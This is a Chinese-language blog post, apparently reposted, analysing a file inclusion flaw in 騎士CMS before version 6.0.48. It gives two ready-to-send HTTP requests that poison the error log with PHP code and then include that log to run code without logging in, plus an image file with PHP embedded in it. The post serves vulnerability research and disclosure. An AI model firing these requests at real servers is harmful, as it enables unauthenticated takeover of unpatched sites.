騎士cms < 6.0.48任意文件包含漏洞簡記


0x00 漏洞簡介

騎士CMS是一套基於PHP+MYSQL的免費網站管理系統。騎士CMS官方發布安全更新,修復了一處遠程代碼執行漏洞。由於騎士CMS某些函數存在過濾不嚴格,攻擊者通過構造惡意請求,配合文件包含漏洞可在無需登錄的情況下執行任意代碼,控制服務器。

上引自阿里雲發的安全公告,實際上這個漏洞底層是文件包含漏洞,所以自我理解定位成任意文件包含漏洞更為妥當。

影響版本

騎士CMS < 6.0.48

漏洞等級:

高危

 

0x01 漏洞細節

panda師傅發在先知的文章(https://xz.aliyun.com/t/8520)說的挺清晰的了,盜張圖

 

細節我就不一一細說,主要解答一下根據panda師傅文章遇到的幾個問題點:(以下復現環境在windows+phpstudy php5.4.5環境下)

1,是否一定需要注冊一個賬號才可以利用?

2,是否一定要包含騎士模版文件的標簽才能解析,為什么?

答:

不用,可以用日志文件進行包含,並且並不需要騎士模板文件標簽。

 

日志文件包含這個思路記得是在p神的代碼審計圈子里看到其他師傅說的,當然騎士基於tp二開的cms,不難想到利用日志的方式進行包含。利用日志包含,好處是減少了注冊登陸上傳文件的步驟,減少限制條件(雖然作為人才系統,普通用戶注冊登陸是必然開放的),利於自動化腳本的編寫。

由於騎士cms默認不開debug,日志記錄是error級別的,需要報錯才能把信息記錄到日志文件,而其實我們的漏洞點就是一個很出色的報錯點,當模板文件不存在的時候會將模板路徑寫進日志。

一開始的思路是直接把寫到圖片的東西寫到日志里面去,但發現行不通

利用的payload:

<?php phpinfo(); ?>
<qscms:company_show 列表名="info" 企業id="$_GET['id']"/  

標簽中的冒號會被轉成/

 

payload打出去包含之后沒有返回,一開始以為是沒有執行成功。

后來通過跟蹤發現,其實是包含成功了(漏洞首先是將我們傳進去對應路徑的文件進行了模版解析,之后保存到cache目錄下的php文件,最后包含的是生成在cache目錄下的php文件)

代碼都是寫進去了的。

 

但為什么包含之后沒有輸出呢?

主要是因為ThinkPHP/Library/Think/View.class.php 進行了緩存導致沒法輸出

 

所以我們在代碼后面加一個die();就可以拿到輸出了。

測試之后也發現騎士cms的標簽在不在與否都沒有任何影響,代碼里面也沒有看到有明顯限制需要有騎士cms標簽的代碼。

所以最終的利用,直接用日志進行包含即可

第一步發送日志:
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.0.9

variable=1&tpl=<?php phpinfo();die();?>

第二步包含日志:(路徑也不需要絕對路徑,相對路徑足以)
POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.0.9

variable=1&tpl=./data/Runtime/Logs/Home/20_11_23.log

 

 

 

題外話,在windows phpstudy的特定一些版本下也可以用bmp,參考我之前發的文章:https://www.cnblogs.com/r00tuser/p/11312212.html

#define test_width 16
#define test_height 7
<?php phpinfo();die();?>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

  

0x02 總結

很久不發blog了,除草記錄文。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM